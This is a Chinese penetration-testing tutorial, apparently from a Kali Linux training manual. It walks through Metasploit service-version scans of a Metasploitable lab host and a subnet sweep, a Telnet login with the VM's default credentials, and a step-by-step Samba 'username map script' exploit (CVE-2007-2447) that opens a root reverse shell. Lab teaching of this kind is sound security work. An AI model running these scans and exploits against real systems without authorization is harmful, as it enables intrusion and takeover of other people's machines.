• Kail Linux渗透测试教程之在Metasploit中扫描


    Kail Linux渗透测试教程之在Metasploit中扫描

    在Metasploit中扫描

    在Metasploit中,附带了大量的内置扫描器。使用这些扫描器可以搜索并获得来自一台计算机或一个完整网络的服务信息。本节将介绍使用Metasploit中的辅助模块实现扫描。

    【实例4-4】在Metasploit中,扫描目标主机。具体操作步骤如下所示:

    (1)启动MSF终端。执行命令如下所示:

    root@kali:~# msfconsole

    msf>

    (2)搜索所有可用的扫描模块。执行命令如下所示:

    msf > search scanner

    Matching Modules

    ================

       Name                                 Disclosure Date     Rank           Description

       ----                                    --------------------    -----------  ---------------------------------------------

       auxiliary/admin/smb/check_dir_file                             normal  SMB Scanner Check File/Directory Utility

       auxiliary/bnat/bnat_scan                                       normal  BNAT Scanner

       auxiliary/gather/citrix_published_applications                  normal  Citrix MetaFrame ICA Published Applications Scanner

       auxiliary/gather/enum_dns                                     normal  DNS Record Scanner and Enumerator

       auxiliary/gather/natpmp_external_address                      normal  NAT-PMP External Address Scanner

       auxiliary/gather/windows_deployment_services_shares        normal  Microsoft Windows Deployment Services Unattend Gatherer

       auxiliary/pro/nexpose                                         normal  PRO: Nexpose Scanner Integration

       auxiliary/pro/webscan                                          normal  PRO: Web Application Scanner

       auxiliary/scanner/afp/afp_login                                 normal  Apple Filing Protocol Login Utility

       auxiliary/scanner/afp/afp_server_info                                     normal  Apple Filing Protocol Info Enumerator

       auxiliary/scanner/backdoor/energizer_duo_detect              normal  Energizer DUO Trojan Scanner

       auxiliary/scanner/chargen/chargen_probe     1996-02-08       normal  Chargen Probe Utility

    输出信息显示了,Metasploit中所有可用的扫描模块。这些模块针对各种类型的服务。这里为了缩小查看的范围,搜索SSH服务的扫描模块。

    (3)扫描SSH服务的扫描模块。执行命令如下所示:

    msf > search scanner/ssh

    Matching Modules

    ================

       Name                                     Disclosure Date  Rank    Description

       ----                                         ---------------    -----------  -------------------------------------------

       auxiliary/scanner/ssh/cerberus_sftp_enumusers  2014-05-27 normal     Cerberus FTP Server SFTP Username Enumeration

       auxiliary/scanner/ssh/ssh_enumusers                          normal     SSH Username Enumeration

       auxiliary/scanner/ssh/ssh_identify_pubkeys                                normal     SSH Public Key Acceptance Scanner

       auxiliary/scanner/ssh/ssh_login                              normal     SSH Login Check Scanner

       auxiliary/scanner/ssh/ssh_login_pubkey                       normal     SSH Public Key Login Scanner

       auxiliary/scanner/ssh/ssh_version                            normal     SSH Version Scanner

    输出的信息,显示了几个有效的SSH模块。现在就可以选择相应的模块,进行扫描了。

    (4)使用ssh_version模块扫描SSH服务。执行命令如下所示:

    msf > use auxiliary/scanner/ssh/ssh_version

    (5)查看ssh_version模块下可配置的选项参数。执行命令如下所示:

    msf auxiliary(ssh_version) > show options

    Module options (auxiliary/scanner/ssh/ssh_version):

       Name      Current Setting  Required             Description

       ------------     ---------------     --------      -----------------------------------------------------------------------------

       RHOSTS                             yes       The target address range or CIDR identifier

       RPORT    22                  yes       The target port

       THREADS          1                    yes       The number of concurrent threads

       TIMEOUT                     30                  yes       Timeout for the SSH probe

    输出的信息显示了可配置的模块。从以上结果中,可以看出RHOSTS选项没有配置。

    (6)配置RHOSTS选项。执行命令如下所示:

    msf auxiliary(ssh_version) > set RHOSTS 192.168.6.105

    RHOSTS => 192.168.6.105

    从输出的结果中,可以看到RHOSTS(目标主机地址)选项已经设置为192.168.6.105(Metasploit 2操作系统)。

    (7)启动扫描。执行命令如下所示:

    msf auxiliary(ssh_version) > exploit

    [*] 192.168.6.105:22, SSH server version: SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1

    [*] Scanned 1 of 1 hosts (100% complete)

    [*] Auxiliary module execution completed

    msf auxiliary(ssh_version) >

    从输出的信息中,可以看到目标系统正运行SSH服务,并且版本为SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1。

    【实例4-5】扫描MySQL服务器。具体操作步骤如下所示:

    (1)登录MSF终端。执行命令如下所示:

    root@kali:~# msfconsole

    msf>

    (2)使用mysql_version模块,并查看该模块中可配置的选项参数。执行命令如下所示:

    msf > use auxiliary/scanner/mysql/mysql_version

    msf auxiliary(mysql_version) > show options

    Module options (auxiliary/scanner/mysql/mysql_version):

       Name     Current Setting  Required  Description

       ----     ---------------  --------  -----------

       RHOSTS                    yes       The target address range or CIDR identifier

       RPORT    3306             yes       The target port

       THREADS  1                yes       The number of concurrent threads

    从输出的信息中,可以看到RHOSTS选项没有配置。此时,配置RHOSTS来指定目标主机的地址。

    (3)设置RHOSTS选项,并进行MySQL服务扫描。执行命令如下所示:

    msf auxiliary(mysql_version) > set RHOSTS 192.168.6.105

    RHOSTS => 192.168.6.105

    msf auxiliary(mysql_version) > exploit

    [*] 192.168.6.105:3306 is running MySQL 5.0.51a-3ubuntu5 (protocol 10)

    [*] Scanned 1 of 1 hosts (100% complete)

    [*] Auxiliary module execution completed

    从输出的结果中,可以看到目标主机上正在运行的MySQL版本是5.0.51a。

    【实例4-6】扫描Telnet服务。具体操作步骤如下所示:

    (1)启动MSF终端。执行命令如下所示:

    root@kali:~# msfconsole

    msf>

    (2)使用telnet_version模块,并查看可配置的选项参数。执行命令如下所示:

    msf > use auxiliary/scanner/telnet/telnet_version

    msf auxiliary(telnet_version) > show options

    Module options (auxiliary/scanner/telnet/telnet_version):

       Name      Current Setting  Required    Description

       ----         ---------------     ---------------  -----------------------------------------------------------------------

       PASSWORD                    no        The password for the specified username

       RHOSTS                         yes       The target address range or CIDR identifier

       RPORT             23              yes       The target port

       THREADS         1               yes       The number of concurrent threads

       TIMEOUT           30              yes       Timeout for the Telnet probe

       USERNAME                    no        The username to authenticate as

    从输出的信息中,可以看到有四个必须配置选项。其中三个选项已经配置,现在配置RHOSTS选项。

    (3)配置RHOSTS选项,并启动扫描。执行命令如下所示:

    msf auxiliary(telnet_version) > set RHOSTS 192.168.6.105

    RHOSTS => 192.168.6.105

    msf auxiliary(telnet_version) > exploit

     [*] 192.168.6.105:23 TELNET _                  _       _ _        _     _      ____  x0a _ __ ___   ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ x0a| '_ ` _ / _ __/ _` / __| '_ | |/ _ | | __/ _` | '_ | |/ _ __) |x0a| | | | | |  __/ || (_| \__ |_) | | (_) | | || (_| | |_) | |  __// __/ x0a|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|x0a                            |_|                                         x0ax0ax0aWarning: Never expose this VM to an untrusted network!x0ax0aContact: msfdev[at]metasploit.comx0ax0aLogin with msfadmin/msfadmin to get startedx0ax0ax0ametasploitable login:

    [*] Scanned 1 of 1 hosts (100% complete)

    [*] Auxiliary module execution completed

    从以上输出的信息,仅看到一堆文本信息。在这些信息中,没有关于Telnet服务的版本信息。但是显示了登录认证信息,Login with msfadmin/msfadmin to get started。从这条信息中,可以获取到目标主机Telnet服务的用户名和密码。此时可以尝试登录。

    (4)登录目标主机的Telnet服务。执行命令如下所示:

    root@kali:~# telnet -l msfadmin 192.168.6.105

    Trying 192.168.6.105...

    Connected to 192.168.6.105.

    Escape character is '^]'.

    Password:                                                                         #输入密码msfadmin

    Last login: Tue Jul  8 06:32:46 EDT 2014 on tty1

    Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

    The programs included with the Ubuntu system are free software;

    the exact distribution terms for each program are described in the

    individual files in /usr/share/doc/*/copyright.

    Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by

    applicable law.

    To access official Ubuntu documentation, please visit:

    http://help.ubuntu.com/

    No mail.

    msfadmin@metasploitable:~$

    以上信息显示了登录Telnet服务的信息。在输出信息中看到msfadmin@metasploitable:~$提示符,则表示成功登录了Telnet服务。此时可以执行一些标准的Linux命令。例如查看多个组的成员,执行命令如下所示:

    msfadmin@metasploitable:~$ id

    uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)

    输出信息中显示了msfadmin用户的相关信息。其中,gid表示groups中第1个组账号为该用户的基本组,groups中的其他组账号为该用户的附加组。

    在Metasploit中,可以扫描一系列地址。下面以扫描Samba服务器为例,介绍扫描一个网络内运行的Samba服务器。首先演示下,扫描单个地址的Samba服务器。

    【实例4-7】演示目标扫描主机地址为192.168.6.105的Samba服务器。具体操作步骤如下所示:

    (1)启动MSF终端。执行命令如下所示:

    root@kali:~# msfconsole

    msf>

    (2)使用smb_version模块,并查看该模块可配置的选项参数。执行命令如下所示:

    msf > use auxiliary/scanner/smb/smb_version

    msf auxiliary(smb_version) > show options

    Module options (auxiliary/scanner/smb/smb_version):

       Name       Current Setting   Required           Description

       ----       ---------------         -----------   -----------------------------------------------------------------------

       RHOSTS                     yes       The target address range or CIDR identifier

       SMBDomain  WORKGROUP    no        The Windows domain to use for authentication

       SMBPass                      no        The password for the specified username

       SMBUser                      no        The username to authenticate as

       THREADS    1                yes       The number of concurrent threads

    (3)配置RHOSTS选项。执行命令如下所示:

    msf auxiliary(smb_version) > set RHOSTS 192.168.6.105

    RHOSTS => 192.168.6.105

    (4)启动扫描。执行命令如下所示:

    msf auxiliary(smb_version) > exploit

    [*] 192.168.6.105:445 is running Unix Samba 3.0.20-Debian (language: Unknown) (domain:WORKGROUP)

    [*] Scanned 1 of 1 hosts (100% complete)

    [*] Auxiliary module execution completed

    从输出的信息中,可以看到扫描到正在运行的Samba服务器及其版本。

    接下来演示扫描192.168.6.0/24网络内所有运行Sambas服务器的主机。具体操作步骤如下所示:

    (1)选择使用smb_version模块。执行命令如下所示:

    msf > use auxiliary/scanner/smb/smb_version

    (2)配置smb_version模块中可配置的选项参数。执行命令如下所示:

    msf auxiliary(smb_version) > set RHOSTS 192.168.6.0/24

    RHOSTS => 192.168.6.0/24

    msf auxiliary(smb_version) > set THREADS 255

    THREADS => 255

    (3)启动扫描。执行命令如下所示:

    msf auxiliary(smb_version) > exploit

    [*] 192.168.6.106:445 is running Windows 7 Ultimate 7601 Service Pack (Build 1) (language: Unknown) (name:WIN-RKPKQFBLG6C) (domain:WORKGROUP)

    [*] 192.168.6.105:445 is running Unix Samba 3.0.20-Debian (language: Unknown) (domain:WORKGROUP)

    [*] 192.168.6.104:445 is running Windows XP Service Pack 0 / 1 (language: Chinese - Traditional) (name:LYW) (domain:LYW)

    [*] 192.168.6.110:445 is running Windows XP Service Pack 0 / 1 (language: Chinese - Traditional) (name:AA-886OKJM26FSW) (domain:WORKGROUP)

    [*] Scanned 255 of 256 hosts (099% complete)

    [*] Scanned 256 of 256 hosts (100% complete)

    [*] Auxiliary module execution completed

    从输出的信息中,可以看到192.168.6.0/24网络内有四台主机上正在运行着Samba服务器。在显示的信息中,可以看到运行Samba服务器的操作系统类型。

    【实例4-8】渗透攻击Samba服务器。具体操作步骤如下所示:

    (1)启动MSF终端。执行命令如下所示:

    root@kali:~# msfconsole

    msf>

    (2)搜索usermap模块。执行命令如下所示:

    msf > search samba/usermap

    Matching Modules

    ================

       Name                            Disclosure Date   Rank       Description

       ----                                ---------------     -----------     -----------------------------------------------

       exploit/multi/samba/usermap_script  2007-05-14      excellent  Samba "username map script" Command Execution

    从输出的信息中,可以看到有个usermap模块。

    (3)查看usermap_script模块的详细信息。执行命令如下所示:

    msf > info exploit/multi/samba/usermap_script

           Name: Samba "username map script" Command Execution

         Module: exploit/multi/samba/usermap_script

       Platform: Unix

     Privileged: Yes

        License: Metasploit Framework License (BSD)

           Rank: Excellent

    Provided by:

      jduck <jduck@metasploit.com>

    Available targets:

      Id  Name

      --  ----

      0   Automatic

    Basic options:

      Name   Current Setting  Required  Description

      ----      ---------------       --------    -----------

      RHOST                   yes       The target address

      RPORT  139              yes       The target port

    Payload information:

      Space: 1024

    Description:

      This module exploits a command execution vulerability in Samba

      versions 3.0.20 through 3.0.25rc3 when using the non-default

      "username map script" configuration option. By specifying a username

      containing shell meta characters, attackers can execute arbitrary

      commands. No authentication is needed to exploit this vulnerability

      since this option is used to map usernames prior to authentication!

    References:

      http://cvedetails.com/cve/2007-2447/

      http://www.osvdb.org/34700

      http://www.securityfocus.com/bid/23972

      http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=534

      http://samba.org/samba/security/CVE-2007-2447.html

    输出的信息显示了usermap_script模块的详细信息。从输出信息中可以看到,该模块仅需要配置RHOST选项就可以了。这里不需要加载任何攻击载荷,就可以自动使用一个Linux命令Shell。

    (3)选择使用usermap_script模块,并设置RHOST选项。执行命令如下所示:

    msf > use exploit/multi/samba/usermap_script

    msf exploit(usermap_script) > set RHOST 192.168.6.105

    RHOST => 192.168.6.105

    (4)启动渗透攻击。执行命令如下所示:

    msf exploit(usermap_script) > exploit

     [*] Started reverse double handler

    [*] Accepted the first client connection...

    [*] Accepted the second client connection...

    [*] Command: echo IwmN37I0D3cTGJhv;

    [*] Writing to socket A

    [*] Writing to socket B

    [*] Reading from sockets...

    [*] Reading from socket B

    [*] B: "IwmN37I0D3cTGJhv "

    [*] Matching...

    [*] A is input...

    [*] Command shell session 1 opened (192.168.6.103:4444 -> 192.168.6.105:34848) at 2014-07-16 10:00:59 +0800

    从输出的信息中,可以看到成功的打开了一个会话。这表示已成功攻击了目标主机。此时用户可以执行一些Linux命令,查看目标主机的相关信息。如下所示:

    whoami                                                                     #查看当前登录系统的用户

    root

    从输出的信息中,可以看到当前目标系统登录的用户名是root。如果想了解该用户的详细信息,可以使用id命令查看。如下所示:

    id                                                                                 #查看当前登录用户的信息

    uid=0(root) gid=0(root)

    输出的信息表上root用户属于root组,并且其UID和GID都为0。

    本文选自:Kail Linux渗透测试实训手册大学霸内部资料,转载请注明出处,尊重技术尊重IT人!

  • 相关阅读:
    js的BOM对象完全解析
    转:JavaScript中的this陷阱的最全收集
    转载:冷门js技巧
    MVVM的架构设计与团队协作 with StoryBoard
    ReactiveCocoa & FRP & MVVM
    ReactiveCocoa的冷信号与热信号 探讨
    Git本地项目上传 & SourceTree & GitHub 简单使用
    Monad / Functor / Applicative 浅析
    map & flatMap 浅析
    Swift -> Let & Var 背后编程模式 探讨
  • 原文地址:https://www.cnblogs.com/daxueba-ITdaren/p/4775033.html
Copyright © 2020-2023  润新知